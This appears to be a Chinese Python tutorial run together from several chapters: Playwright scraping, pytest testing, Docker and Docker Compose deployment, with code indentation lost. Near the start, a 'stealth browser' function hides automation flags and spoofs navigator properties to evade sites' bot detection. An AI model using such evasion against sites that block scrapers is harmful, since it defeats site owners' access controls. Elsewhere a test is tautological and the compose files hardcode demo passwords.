items = page.query_selector_all(".item")
new_count = len(items) - len(all_items)
if new_count > 0:
print(f"第 {i+1} 次滚动,新增 {new_count} 条数据")
all_items = items
# 滚动到底部
page.evaluate("window.scrollTo(0, document.body.scrollHeight)")
# 等待新内容加载
page.wait_for_timeout(1000) # 等待 1 秒
# 检查是否还有更多内容
if page.query_selector(".no-more-data"):
print("没有更多数据了")
break
# 提取数据
results = []
for item in all_items:
title = item.query_selector(".title").text_content()
results.append(title)
browser.close()
return results
from playwright.sync_api import sync_playwright
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
page = browser.new_page()
# 设置视口大小
page.set_viewport_size({"width": 1920, "height": 1080})
page.goto("https://example.com")
# 整页截图
page.screenshot(path="full_page.png", full_page=True)
# 可见区域截图
page.screenshot(path="viewport.png")
# 元素截图
element = page.locator("h1")
element.screenshot(path="element.png")
# 生成 PDF(仅 Chromium 无头模式支持)
page.pdf(path="page.pdf", format="A4")
browser.close()
from playwright.sync_api import sync_playwright
def create_stealth_browser():
"""创建反检测浏览器"""
with sync_playwright() as p:
# 设置浏览器参数
browser = p.chromium.launch(
headless=True,
args=[
"--disable-blink-features=AutomationControlled", # 禁用自动化检测
"--disable-features=IsolateOrigins,site-per-process",
]
)
# 创建上下文(模拟真实用户)
context = browser.new_context(
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
viewport={"width": 1920, "height": 1080},
locale="zh-CN",
timezone_id="Asia/Shanghai",
)
# 注入 JavaScript 隐藏自动化特征
context.add_init_script("""
Object.defineProperty(navigator, 'webdriver', {get: () => undefined});
Object.defineProperty(navigator, 'plugins', {get: () => [1, 2, 3, 4, 5]});
Object.defineProperty(navigator, 'languages', {get: () => ['zh-CN', 'zh', 'en']});
""")
page = context.new_page()
return browser, page
import asyncio
import json
from playwright.async_api import async_playwright
class ProductScraper:
def __init__(self):
self.products = []
async def scrape_product_page(self, page, url):
"""抓取单个商品页面"""
await page.goto(url, wait_until="networkidle")
# 等待商品信息加载
await page.wait_for_selector(".product-info")
# 提取商品信息
product = {
"title": await page.text_content(".product-title"),
"price": await page.text_content(".product-price"),
"description": await page.text_content(".product-desc"),
"images": await page.eval_on_selector_all(
".product-images img",
"elements => elements.map(el => el.src)"
),
"url": url
}
return product
async def scrape_product_list(self, page, list_url):
"""抓取商品列表"""
await page.goto(list_url, wait_until="networkidle")
# 获取所有商品链接
links = await page.eval_on_selector_all(
".product-item a",
"elements => elements.map(el => el.href)"
)
print(f"找到 {len(links)} 个商品")
# 逐个抓取(控制并发避免被封)
for i, link in enumerate(links[:10]): # 只抓前10个
try:
product = await self.scrape_product_page(page, link)
self.products.append(product)
print(f"已抓取:{product['title']}")
await page.wait_for_timeout(1000) # 礼貌延迟
except Exception as e:
print(f"抓取失败:{link} - {e}")
async def run(self):
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
page = await browser.new_page()
await self.scrape_product_list(page, "https://example.com/products")
# 保存结果
with open("products.json", "w", encoding="utf-8") as f:
json.dump(self.products, f, ensure_ascii=False, indent=2)
print(f"\n抓取完成,共 {len(self.products)} 个商品")
await browser.close()
# 运行
asyncio.run(ProductScraper().run())
| 特性 | Playwright | Selenium |
|---|---|---|
| 速度 | 快 | 慢 |
| 自动等待 | 内置 | 需要手动实现 |
| API 设计 | 简洁现代 | 较旧 |
| 浏览器支持 | Chromium/Firefox/WebKit | 所有主流浏览器 |
| 社区生态 | 快速成长 | 成熟庞大 |
| 学习曲线 | 简单 | 中等 |
playwright install chromium不写测试的代码就像不系安全带开车——平时没事,出事就是大事。单元测试能帮你在代码上线前发现 bug,重构时不怕改坏,协作时有信心。pytest 是 Python 最流行的测试框架,本章从零开始教你写出专业级的测试代码。
你写了一份简历(代码),自己检查觉得没问题。但如果让朋友帮你看看(测试),可能会发现错别字、逻辑不通的地方。测试就是"让别人帮你检查代码"——只不过这个"别人"是自动化程序。
# 没有测试的代码——上线后才发现 bug
def calculate_discount(price, discount):
return price * discount # ❌ 应该是 (1 - discount)
# 用户下单后才发现:100元商品打8折,应该收80元,结果收了80元...
# 等等,这个例子好像没错?但如果 discount 传 0.8 呢?
# calculate_discount(100, 0.8) = 80 ✓ 正确
# calculate_discount(100, 20) = 2000 ❌ 传了百分比不是小数
# 有测试的代码——上线前就发现问题
import pytest
def calculate_discount(price, discount):
return price * (1 - discount)
def test_calculate_discount():
assert calculate_discount(100, 0.2) == 80 # 打8折
assert calculate_discount(200, 0.5) == 100 # 打5折
assert calculate_discount(100, 0) == 100 # 不打折
assert calculate_discount(100, 1) == 0 # 全额折扣
# 安装
# pip install pytest
# 第一个测试文件:test_calculator.py
def add(a, b):
return a + b
def subtract(a, b):
return a - b
# 测试函数以 test_ 开头
def test_add():
assert add(1, 2) == 3
assert add(-1, 1) == 0
assert add(0, 0) == 0
def test_subtract():
assert subtract(5, 3) == 2
assert subtract(10, 20) == -10
# 运行测试
# pytest # 运行所有测试
# pytest test_calculator.py # 运行指定文件
# pytest -v # 显示详细信息
# pytest -v -k "test_add" # 只运行名称包含 test_add 的测试
# pytest --tb=short # 简化错误输出
test_ 开头或 _test.py 结尾test_ 开头Test 开头test_ 开头import pytest
# ===== 基本断言 =====
def test_basic_assert():
assert 1 + 1 == 2 # 相等
assert "hello" in "hello world" # 包含
assert [1, 2, 3] # 非空
assert not False # 取反
assert None is None # 身份
# ===== 比较断言 =====
def test_comparison():
assert 10 > 5
assert 3.14 >= 3.14
assert "abc" < "def"
# ===== 异常断言 =====
def test_exception():
with pytest.raises(ZeroDivisionError):
1 / 0
with pytest.raises(ValueError, match="不能为负"):
def check_age(age):
if age < 0:
raise ValueError("年龄不能为负")
check_age(-1)
# ===== 浮点数断言(避免精度问题)=====
def test_float():
assert 0.1 + 0.2 == pytest.approx(0.3)
assert 1.0000001 == pytest.approx(1.0, abs=1e-6)
# ===== 集合断言 =====
def test_collections():
assert set([1, 2, 3]) == set([3, 2, 1]) # 集合相等
assert [1, 2, 3] == [1, 2, 3] # 列表相等
assert {"a": 1} == {"a": 1} # 字典相等
import pytest
import tempfile
import os
# fixture:测试前的准备工作
@pytest.fixture
def sample_data():
"""提供测试数据"""
return {"name": "张三", "age": 18, "scores": [90, 85, 92]}
@pytest.fixture
def temp_file():
"""创建临时文件,测试后自动清理"""
# 前置:创建文件
with tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) as f:
f.write("测试数据")
filepath = f.name
yield filepath # yield 之前的代码在测试前执行
# 后置:清理文件
os.unlink(filepath) # yield 之后的代码在测试后执行
@pytest.fixture
def db_connection():
"""数据库连接 fixture"""
conn = create_connection()
conn.begin_transaction()
yield conn
conn.rollback() # 测试后回滚,不影响数据库
conn.close()
# 使用 fixture
def test_user_name(sample_data):
assert sample_data["name"] == "张三"
def test_user_age(sample_data):
assert sample_data["age"] == 18
def test_file_content(temp_file):
with open(temp_file, 'r') as f:
content = f.read()
assert content == "测试数据"
# fixture 作用域
@pytest.fixture(scope="session") # 整个测试会话只执行一次
def app():
return create_app()
@pytest.fixture(scope="module") # 每个模块执行一次
def db():
return create_db()
@pytest.fixture(scope="function") # 每个函数执行一次(默认)
def user():
return create_user()
import pytest
def is_palindrome(s):
"""判断是否是回文"""
s = s.lower().replace(" ", "")
return s == s[::-1]
# 参数化:一组测试多组数据
@pytest.mark.parametrize("input,expected", [
("aba", True),
("abcba", True),
("abc", False),
("", True),
("a", True),
("A man a plan a canal Panama", True),
])
def test_is_palindrome(input, expected):
assert is_palindrome(input) == expected
# 多参数组合
@pytest.mark.parametrize("a", [1, 2, 3])
@pytest.mark.parametrize("b", [10, 20])
def test_multiplication(a, b):
assert a * b == a * b # 测试 6 种组合
# 参数化 + ids(自定义测试名称)
@pytest.mark.parametrize("username,expected", [
pytest.param("admin", True, id="管理员"),
pytest.param("user1", True, id="普通用户"),
pytest.param("", False, id="空用户名"),
], ids=str)
def test_username_validation(username, expected):
assert bool(username) == expected
import pytest
class InsufficientFundsError(Exception):
pass
class BankAccount:
def __init__(self, balance=0):
self.balance = balance
def withdraw(self, amount):
if amount <= 0:
raise ValueError("取款金额必须大于0")
if amount > self.balance:
raise InsufficientFundsError(f"余额不足:当前余额 {self.balance}")
self.balance -= amount
return self.balance
def test_withdraw_success():
account = BankAccount(100)
assert account.withdraw(30) == 70
assert account.withdraw(70) == 0
def test_withdraw_invalid_amount():
account = BankAccount(100)
with pytest.raises(ValueError, match="必须大于0"):
account.withdraw(0)
with pytest.raises(ValueError, match="必须大于0"):
account.withdraw(-10)
def test_withdraw_insufficient_funds():
account = BankAccount(50)
with pytest.raises(InsufficientFundsError, match="余额不足"):
account.withdraw(100)
# 测试异常信息
def test_exception_message():
with pytest.raises(ValueError) as exc_info:
int("abc")
assert "invalid literal" in str(exc_info.value)
from unittest.mock import Mock, patch, MagicMock
import pytest
# 模拟外部 API 调用
class WeatherService:
def get_temperature(self, city):
# 实际会调用天气 API
import requests
response = requests.get(f"https://api.weather.com/{city}")
return response.json()["temperature"]
class WeatherApp:
def __init__(self, service):
self.service = service
def is_hot(self, city, threshold=30):
temp = self.service.get_temperature(city)
return temp > threshold
# 使用 Mock 测试
def test_is_hot():
# 创建 mock 对象
mock_service = Mock()
mock_service.get_temperature.return_value = 35
# 注入 mock
app = WeatherApp(mock_service)
# 测试
assert app.is_hot("北京") == True
# 验证 mock 被调用
mock_service.get_temperature.assert_called_once_with("北京")
def test_is_not_hot():
mock_service = Mock()
mock_service.get_temperature.return_value = 20
app = WeatherApp(mock_service)
assert app.is_hot("北京") == False
# 使用 patch 装饰器
@patch("requests.get")
def test_api_call(mock_get):
# 配置 mock 返回值
mock_response = Mock()
mock_response.json.return_value = {"temperature": 25}
mock_response.status_code = 200
mock_get.return_value = mock_response
# 调用被测代码
import requests
result = requests.get("https://api.weather.com/beijing")
# 验证
assert result.json()["temperature"] == 25
mock_get.assert_called_once()
# mock 多次调用返回不同值
def test_multiple_calls():
mock_service = Mock()
mock_service.get_temperature.side_effect = [20, 35, 25]
app = WeatherApp(mock_service)
assert app.is_hot("城市1") == False # 20
assert app.is_hot("城市2") == True # 35
assert app.is_hot("城市3") == False # 25
# mock 抛出异常
def test_api_error():
mock_service = Mock()
mock_service.get_temperature.side_effect = ConnectionError("网络错误")
app = WeatherApp(mock_service)
with pytest.raises(ConnectionError):
app.is_hot("北京")
# 安装
# pip install pytest-cov
# 运行测试并生成覆盖率报告
# pytest --cov=myapp # 命令行报告
# pytest --cov=myapp --cov-report=html # HTML 报告
# pytest --cov=myapp --cov-report=term-missing # 显示未覆盖的行
# 示例:被测代码
# calculator.py
def divide(a, b):
if b == 0:
raise ValueError("除数不能为零")
return a / b
# 测试文件
# test_calculator.py
import pytest
from calculator import divide
def test_divide():
assert divide(10, 2) == 5.0
assert divide(9, 3) == 3.0
def test_divide_by_zero():
with pytest.raises(ValueError):
divide(10, 0)
# 覆盖率报告示例:
# Name Stmts Miss Cover Missing
# -----------------------------------------------
# calculator.py 4 0 100%
# -----------------------------------------------
# TOTAL 4 0 100%
# 在代码中排除不需要测试的行
def function_that_should_not_be_tested(): # pragma: no cover
pass
# 推荐的项目结构
myproject/
├── src/
│ └── myapp/
│ ├── __init__.py
│ ├── models.py
│ ├── services.py
│ └── utils.py
├── tests/
│ ├── __init__.py
│ ├── conftest.py # 共享的 fixture
│ ├── test_models.py
│ ├── test_services.py
│ └── test_utils.py
├── pytest.ini # pytest 配置
└── pyproject.toml
# pytest.ini 配置
[pytest]
testpaths = tests
python_files = test_*.py
python_classes = Test*
python_functions = test_*
addopts = -v --tb=short --cov=myapp --cov-report=term-missing
# conftest.py:共享 fixture
import pytest
@pytest.fixture
def sample_user():
return {"id": 1, "name": "张三", "email": "test@example.com"}
@pytest.fixture
def authenticated_client(client, sample_user):
client.login(sample_user)
return client
test_函数名_场景_预期结果# 安装
# pip install pytest httpx
# app.py
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
app = FastAPI()
class User(BaseModel):
name: str
age: int
users_db = {}
@app.post("/users", status_code=201)
def create_user(user: User):
user_id = len(users_db) + 1
users_db[user_id] = {"id": user_id, **user.dict()}
return users_db[user_id]
@app.get("/users/{user_id}")
def get_user(user_id: int):
if user_id not in users_db:
raise HTTPException(status_code=404, detail="用户不存在")
return users_db[user_id]
@app.delete("/users/{user_id}", status_code=204)
def delete_user(user_id: int):
if user_id not in users_db:
raise HTTPException(status_code=404, detail="用户不存在")
del users_db[user_id]
# test_app.py
import pytest
from httpx import AsyncClient, ASGITransport
from app import app, users_db
@pytest.fixture(autouse=True)
def clear_db():
"""每个测试前清空数据库"""
users_db.clear()
yield
@pytest.fixture
def client():
transport = ASGITransport(app=app)
return AsyncClient(transport=transport, base_url="http://test")
@pytest.mark.anyio
async def test_create_user(client):
response = await client.post("/users", json={"name": "张三", "age": 18})
assert response.status_code == 201
data = response.json()
assert data["name"] == "张三"
assert data["age"] == 18
assert "id" in data
@pytest.mark.anyio
async def test_get_user(client):
# 先创建用户
create_response = await client.post("/users", json={"name": "张三", "age": 18})
user_id = create_response.json()["id"]
# 查询用户
response = await client.get(f"/users/{user_id}")
assert response.status_code == 200
assert response.json()["name"] == "张三"
@pytest.mark.anyio
async def test_get_user_not_found(client):
response = await client.get("/users/999")
assert response.status_code == 404
@pytest.mark.anyio
async def test_delete_user(client):
# 先创建
create_response = await client.post("/users", json={"name": "张三", "age": 18})
user_id = create_response.json()["id"]
# 删除
response = await client.delete(f"/users/{user_id}")
assert response.status_code == 204
# 验证已删除
response = await client.get(f"/users/{user_id}")
assert response.status_code == 404
# 运行:pytest test_app.py -v
assert result 不如 assert result == expected"在我的电脑上能跑啊!"——这是程序员最头疼的问题。Docker 通过容器化技术,让你的应用带上所有依赖一起打包,无论在哪台电脑上都能完美运行。本章从零开始教你 Docker 的安装、基本操作和 Python 项目容器化。
想象你要搬家(部署应用)。传统方式是把家具一件件搬过去,到了新家发现尺寸不对、插座不匹配(环境差异)。Docker 就是把整个房间打包成一个"集装箱"——家具、装修、电器全在里面,搬到哪里都一样。
https://www.docker.com/products/docker-desktopdocker --version 验证安装# 方式一:下载 Docker Desktop(推荐)
# https://www.docker.com/products/docker-desktop
# 方式二:Homebrew 安装
brew install --cask docker
# 验证安装
docker --version
docker-compose --version
# 安装依赖
sudo apt update
sudo apt install apt-transport-https ca-certificates curl software-properties-common
# 添加 Docker 官方 GPG 密钥
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
# 添加 Docker 仓库
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
# 安装 Docker
sudo apt update
sudo apt install docker-ce docker-ce-cli containerd.io
# 将当前用户加入 docker 组(免 sudo)
sudo usermod -aG docker $USER
# 验证安装
docker --version
docker run hello-world
# ===== 搜索镜像 =====
docker search python # 搜索 Python 相关镜像
docker search nginx # 搜索 Nginx 镜像
# ===== 拉取镜像 =====
docker pull python:3.11 # 拉取 Python 3.11 镜像
docker pull nginx:latest # 拉取最新版 Nginx
docker pull mysql:8.0 # 拉取 MySQL 8.0
# ===== 查看本地镜像 =====
docker images # 列出所有本地镜像
docker images python # 列出 Python 相关镜像
# 输出示例:
# REPOSITORY TAG IMAGE ID CREATED SIZE
# python 3.11 a1b2c3d4e5f6 2 weeks ago 1.01GB
# nginx latest f6e7g8h9i0j1 3 weeks ago 133MB
# ===== 删除镜像 =====
docker rmi python:3.11 # 删除指定镜像
docker rmi $(docker images -q) # 删除所有镜像(慎用!)
# ===== 镜像详情 =====
docker inspect python:3.11 # 查看镜像详细信息
docker history python:3.11 # 查看镜像构建历史
# ===== 运行容器 =====
docker run python:3.11 # 运行后立即退出
docker run -it python:3.11 bash # 交互模式,进入 bash
docker run -d python:3.11 sleep 3600 # 后台运行(-d 守护进程)
# ===== 查看容器 =====
docker ps # 查看运行中的容器
docker ps -a # 查看所有容器(包括已停止的)
# 输出示例:
# CONTAINER ID IMAGE COMMAND CREATED STATUS NAMES
# a1b2c3d4e5f6 python:3.11 "bash" 5 seconds ago Up 5 seconds clever_turing
# ===== 进入运行中的容器 =====
docker exec -it a1b2c3d4e5f6 bash # 进入容器的 bash
docker exec -it a1b2c3d4e5f6 python # 进入容器的 Python
# ===== 停止和启动 =====
docker stop a1b2c3d4e5f6 # 停止容器
docker start a1b2c3d4e5f6 # 启动已停止的容器
docker restart a1b2c3d4e5f6 # 重启容器
# ===== 删除容器 =====
docker rm a1b2c3d4e5f6 # 删除已停止的容器
docker rm -f a1b2c3d4e5f6 # 强制删除运行中的容器
docker container prune # 删除所有已停止的容器
# ===== 查看日志 =====
docker logs a1b2c3d4e5f6 # 查看容器日志
docker logs -f a1b2c3d4e5f6 # 实时查看日志(类似 tail -f)
docker logs --tail 100 a1b2c3d4e5f6 # 查看最后100行日志
# Dockerfile 示例:构建 Python 应用镜像
# 基础镜像
FROM python:3.11-slim
# 设置工作目录
WORKDIR /app
# 设置环境变量(Python 不缓冲输出,方便查看日志)
ENV PYTHONUNBUFFERED=1
# 安装依赖(先复制依赖文件,利用缓存)
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
# 复制应用代码
COPY . .
# 暴露端口
EXPOSE 8000
# 启动命令
CMD ["python", "app.py"]
# ===== 构建镜像 =====
# docker build -t myapp:1.0 .
# ===== 运行容器 =====
# docker run -p 8000:8000 myapp:1.0
| 指令 | 作用 | 示例 |
|---|---|---|
FROM | 基础镜像 | FROM python:3.11-slim |
WORKDIR | 设置工作目录 | WORKDIR /app |
COPY | 复制文件到镜像 | COPY . . |
RUN | 执行命令 | RUN pip install -r requirements.txt |
EXPOSE | 声明端口 | EXPOSE 8000 |
CMD | 容器启动命令 | CMD ["python", "app.py"] |
ENV | 设置环境变量 | ENV APP_ENV=production |
ARG | 构建参数 | ARG VERSION=1.0 |
ENTRYPOINT | 容器入口点 | ENTRYPOINT ["python"] |
# 项目结构
myproject/
├── app.py
├── requirements.txt
├── Dockerfile
└── .dockerignore
# app.py
from fastapi import FastAPI
import uvicorn
app = FastAPI()
@app.get("/")
def read_root():
return {"message": "Hello from Docker!"}
@app.get("/health")
def health_check():
return {"status": "healthy"}
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8000)
# requirements.txt
fastapi==0.104.1
uvicorn==0.24.0
# .dockerignore(排除不需要的文件)
__pycache__
*.pyc
*.pyo
.git
.gitignore
.env
.venv
venv
tests/
*.md
# Dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY . .
EXPOSE 8000
CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "8000"]
# ===== 构建并运行 =====
# docker build -t myfastapi:1.0 .
# docker run -p 8000:8000 myfastapi:1.0
# 访问 http://localhost:8000
# ===== 端口映射 =====
# -p 宿主机端口:容器端口
docker run -p 8000:8000 myapp:1.0 # 访问 localhost:8000
docker run -p 3000:8000 myapp:1.0 # 访问 localhost:3000(映射到容器的8000)
docker run -p 8000-8010:8000 myapp:1.0 # 端口范围映射
# 多个端口映射
docker run -p 8000:8000 -p 8443:8443 myapp:1.0
# ===== 环境变量 =====
# 方式一:-e 参数
docker run -e APP_ENV=production -e DEBUG=false myapp:1.0
# 方式二:从文件读取
# .env 文件内容:
# APP_ENV=production
# DEBUG=false
# DB_HOST=mysql
docker run --env-file .env myapp:1.0
# 方式三:Dockerfile 中设置默认值
# ENV APP_ENV=development
# ENV DEBUG=true
# 在 Python 中读取环境变量
# import os
# app_env = os.getenv("APP_ENV", "development")
python:3.11-slim 比 python:3.11 小很多上一章学会了单个容器的操作,但实际项目往往需要多个服务配合(Python 应用 + MySQL + Redis + Nginx)。Docker Compose 让你用一个配置文件管理多个容器,一键启动整个项目。本章还会教你数据卷、网络、多阶段构建和生产环境部署。
# Docker Compose 用于定义和运行多容器应用
# 安装(Docker Desktop 自带)
# 验证安装
docker-compose --version
# 或
docker compose version
# 基本命令
docker-compose up # 启动所有服务
docker-compose up -d # 后台启动
docker-compose down # 停止并删除所有容器
docker-compose ps # 查看运行状态
docker-compose logs # 查看日志
docker-compose logs -f # 实时查看日志
docker-compose build # 重新构建镜像
docker-compose restart # 重启所有服务
# docker-compose.yml 完整示例
version: '3.8'
services:
# Web 应用
web:
build: . # 从当前目录构建
container_name: myapp-web # 容器名称
ports:
- "8000:8000" # 端口映射
environment:
- APP_ENV=production
- DB_HOST=db
- DB_PORT=3306
- REDIS_HOST=redis
env_file:
- .env # 从文件读取环境变量
volumes:
- ./app:/app # 挂载代码目录(开发用)
- ./logs:/app/logs # 挂载日志目录
depends_on:
- db # 依赖 db 服务
- redis # 依赖 redis 服务
networks:
- app-network # 加入网络
restart: always # 总是重启
healthcheck: # 健康检查
test: ["CMD", "curl", "-f", "http://localhost:8000/health"]
interval: 30s
timeout: 10s
retries: 3
# MySQL 数据库
db:
image: mysql:8.0
container_name: myapp-db
environment:
MYSQL_ROOT_PASSWORD: root123
MYSQL_DATABASE: myapp
MYSQL_USER: appuser
MYSQL_PASSWORD: apppass
ports:
- "3306:3306"
volumes:
- mysql-data:/var/lib/mysql # 数据持久化
- ./init.sql:/docker-entrypoint-initdb.d/init.sql # 初始化脚本
networks:
- app-network
# Redis 缓存
redis:
image: redis:7-alpine
container_name: myapp-redis
ports:
- "6379:6379"
volumes:
- redis-data:/data
command: redis-server --appendonly yes # 开启持久化
networks:
- app-network
# Nginx 反向代理
nginx:
image: nginx:alpine
container_name: myapp-nginx
ports:
- "80:80"
- "443:443"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
- ./ssl:/etc/nginx/ssl:ro
depends_on:
- web
networks:
- app-network
# 数据卷
volumes:
mysql-data: # 命名卷
redis-data:
# 网络
networks:
app-network:
driver: bridge
# 项目结构
myproject/
├── app/
│ ├── __init__.py
│ ├── main.py
│ ├── models.py
│ └── config.py
├── requirements.txt
├── Dockerfile
├── docker-compose.yml
├── .env
└── init.sql
# app/config.py
import os
class Config:
DB_HOST = os.getenv("DB_HOST", "localhost")
DB_PORT = int(os.getenv("DB_PORT", 3306))
DB_USER = os.getenv("DB_USER", "appuser")
DB_PASSWORD = os.getenv("DB_PASSWORD", "apppass")
DB_NAME = os.getenv("DB_NAME", "myapp")
REDIS_HOST = os.getenv("REDIS_HOST", "localhost")
REDIS_PORT = int(os.getenv("REDIS_PORT", 6379))
# app/main.py
from fastapi import FastAPI
import redis
import pymysql
from config import Config
app = FastAPI()
# 连接 Redis
r = redis.Redis(
host=Config.REDIS_HOST,
port=Config.REDIS_PORT,
decode_responses=True
)
# 连接 MySQL
def get_db():
return pymysql.connect(
host=Config.DB_HOST,
port=Config.DB_PORT,
user=Config.DB_USER,
password=Config.DB_PASSWORD,
database=Config.DB_NAME,
charset='utf8mb4'
)
@app.get("/")
def read_root():
return {"message": "Hello from Docker Compose!"}
@app.get("/cache/{key}")
def get_cache(key: str):
value = r.get(key)
return {"key": key, "value": value}
@app.post("/cache/{key}")
def set_cache(key: str, value: str):
r.set(key, value, ex=3600)
return {"message": "缓存已设置"}
@app.get("/db/users")
def get_users():
conn = get_db()
cursor = conn.cursor()
cursor.execute("SELECT * FROM users")
users = cursor.fetchall()
conn.close()
return {"users": users}
# 启动命令
# docker-compose up -d
# 访问 http://localhost:8000
# 访问 http://localhost:8000/docs 查看 API 文档
# ===== 命名卷(推荐)=====
# 由 Docker 管理,数据存储在 Docker 目录中
volumes:
mysql-data:
redis-data:
services:
db:
image: mysql:8.0
volumes:
- mysql-data:/var/lib/mysql # 命名卷
# ===== 绑定挂载 =====
# 将宿主机目录挂载到容器(开发环境常用)
services:
web:
volumes:
- ./app:/app # 宿主机目录:容器目录
- ./config:/app/config:ro # :ro 只读挂载
# ===== tmpfs 挂载 =====
# 存储在内存中,容器停止后数据丢失
services:
web:
tmpfs:
- /tmp # 临时文件用内存存储
# ===== 数据卷操作 =====
docker volume ls # 列出所有卷
docker volume inspect mysql-data # 查看卷详情
docker volume rm mysql-data # 删除卷
docker volume prune # 删除未使用的卷
# ===== 网络类型 =====
# bridge(默认):容器之间通过容器名访问
networks:
app-network:
driver: bridge
# host:容器直接使用宿主机网络(性能最好,但端口冲突)
services:
web:
network_mode: host
# none:无网络(完全隔离)
services:
web:
network_mode: none
# ===== 容器间通信 =====
# 在同一个网络中的容器可以通过服务名访问
services:
web:
networks:
- app-network
db:
networks:
- app-network
# web 容器中可以直接用 "db" 作为主机名访问数据库
# pymysql.connect(host="db", port=3306, ...)
# ===== 自定义网络 =====
docker network create my-network # 创建网络
docker network ls # 列出网络
docker network inspect my-network # 查看网络详情
docker network rm my-network # 删除网络
# 将容器加入网络
docker network connect my-network my-container
docker network disconnect my-network my-container
# 多阶段构建:编译阶段和运行阶段分开
# 阶段一:构建(包含编译工具)
FROM python:3.11 AS builder
WORKDIR /app
# 安装编译依赖
RUN apt-get update && apt-get install -y \
gcc \
g++ \
&& rm -rf /var/lib/apt/lists/*
# 安装 Python 依赖
COPY requirements.txt .
RUN pip install --no-cache-dir --prefix=/install -r requirements.txt
# 阶段二:运行(只包含运行时)
FROM python:3.11-slim
WORKDIR /app
# 从构建阶段复制安装好的依赖
COPY --from=builder /install /usr/local
# 复制应用代码
COPY . .
# 创建非 root 用户
RUN useradd -m -u 1000 appuser
USER appuser
EXPOSE 8000
CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "8000"]
# 构建
# docker build -t myapp:slim .
# 对比镜像大小
# myapp:latest 约 1.2GB(完整 Python 镜像)
# myapp:slim 约 200MB(多阶段构建)
# ===== 查看日志 =====
docker logs my-container # 查看所有日志
docker logs -f my-container # 实时查看
docker logs --tail 100 my-container # 最后100行
docker logs --since 1h my-container # 最近1小时
docker logs --since 2024-01-01 my-container # 指定日期后
# ===== 日志驱动 =====
# docker-compose.yml
services:
web:
logging:
driver: json-file # 默认,存储为 JSON 文件
options:
max-size: "10m" # 单个文件最大 10MB
max-file: "3" # 最多保留 3 个文件
# ===== 容器资源监控 =====
docker stats # 实时监控所有容器
docker stats my-container # 监控指定容器
# 输出示例:
# CONTAINER CPU % MEM USAGE / LIMIT MEM % NET I/O BLOCK I/O
# myapp 0.50% 128MiB / 1GiB 12.80% 1.2kB / 0B 0B / 0B
# ===== 容器内进程 =====
docker top my-container # 查看容器内进程
docker exec my-container ps aux # 更详细的进程信息
# ===== 容器资源限制 =====
# docker-compose.yml
services:
web:
deploy:
resources:
limits:
cpus: '0.50' # 最多使用 50% CPU
memory: 512M # 最多使用 512MB 内存
reservations:
cpus: '0.25' # 预留 25% CPU
memory: 256M # 预留 256MB 内存
# ===== 生产环境 Dockerfile =====
FROM python:3.11-slim AS builder
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir --prefix=/install -r requirements.txt
FROM python:3.11-slim
# 安全:创建非 root 用户
RUN useradd -m -u 1000 -s /bin/bash appuser
WORKDIR /app
# 复制依赖
COPY --from=builder /install /usr/local
# 复制代码
COPY --chown=appuser:appuser . .
# 切换用户
USER appuser
# 健康检查
HEALTHCHECK --interval=30s --timeout=10s --start-period=5s --retries=3 \
CMD curl -f http://localhost:8000/health || exit 1
EXPOSE 8000
# 使用 gunicorn + uvicorn(生产级 ASGI 服务器)
CMD ["gunicorn", "app:app", "-w", "4", "-k", "uvicorn.workers.UvicornWorker", "--bind", "0.0.0.0:8000"]
# ===== 生产环境 docker-compose.yml =====
version: '3.8'
services:
web:
build: .
image: myapp:latest
deploy:
replicas: 3 # 3个副本
resources:
limits:
cpus: '1.0'
memory: 512M
ports:
- "8000:8000"
environment:
- APP_ENV=production
env_file:
- .env.production
restart: always
logging:
driver: json-file
options:
max-size: "10m"
max-file: "3"
nginx:
image: nginx:alpine
ports:
- "80:80"
- "443:443"
volumes:
- ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro
- ./nginx/ssl:/etc/nginx/ssl:ro
depends_on:
- web
restart: always
# ===== 部署流程 =====
# 1. 拉取代码
git pull origin main
# 2. 构建镜像
docker-compose build
# 3. 停止旧容器
docker-compose down
# 4. 启动新容器
docker-compose up -d
# 5. 查看状态
docker-compose ps
docker-compose logs -f
# 完整项目结构
fastapi-docker-project/
├── app/
│ ├── __init__.py
│ ├── main.py
│ ├── models.py
│ ├── routes/
│ │ ├── __init__.py
│ │ ├── users.py
│ │ └── items.py
│ ├── database.py
│ ├── redis_client.py
│ └── config.py
├── tests/
│ ├── __init__.py
│ └── test_main.py
├── requirements.txt
├── Dockerfile
├── Dockerfile.test # 测试用 Dockerfile
├── docker-compose.yml
├── docker-compose.test.yml # 测试用 compose
├── .env
├── .env.example
├── .dockerignore
└── README.md
# docker-compose.yml
version: '3.8'
services:
app:
build:
context: .
dockerfile: Dockerfile
container_name: fastapi-app
ports:
- "8000:8000"
environment:
- DATABASE_URL=mysql+pymysql://appuser:apppass@db:3306/myapp
- REDIS_URL=redis://redis:6379/0
depends_on:
db:
condition: service_healthy
redis:
condition: service_started
restart: unless-stopped
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:8000/health"]
interval: 30s
timeout: 10s
retries: 3
db:
image: mysql:8.0
container_name: fastapi-db
environment:
MYSQL_ROOT_PASSWORD: root123
MYSQL_DATABASE: myapp
MYSQL_USER: appuser
MYSQL_PASSWORD: apppass
volumes:
- mysql-data:/var/lib/mysql
- ./init.sql:/docker-entrypoint-initdb.d/init.sql
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
interval: 10s
timeout: 5s
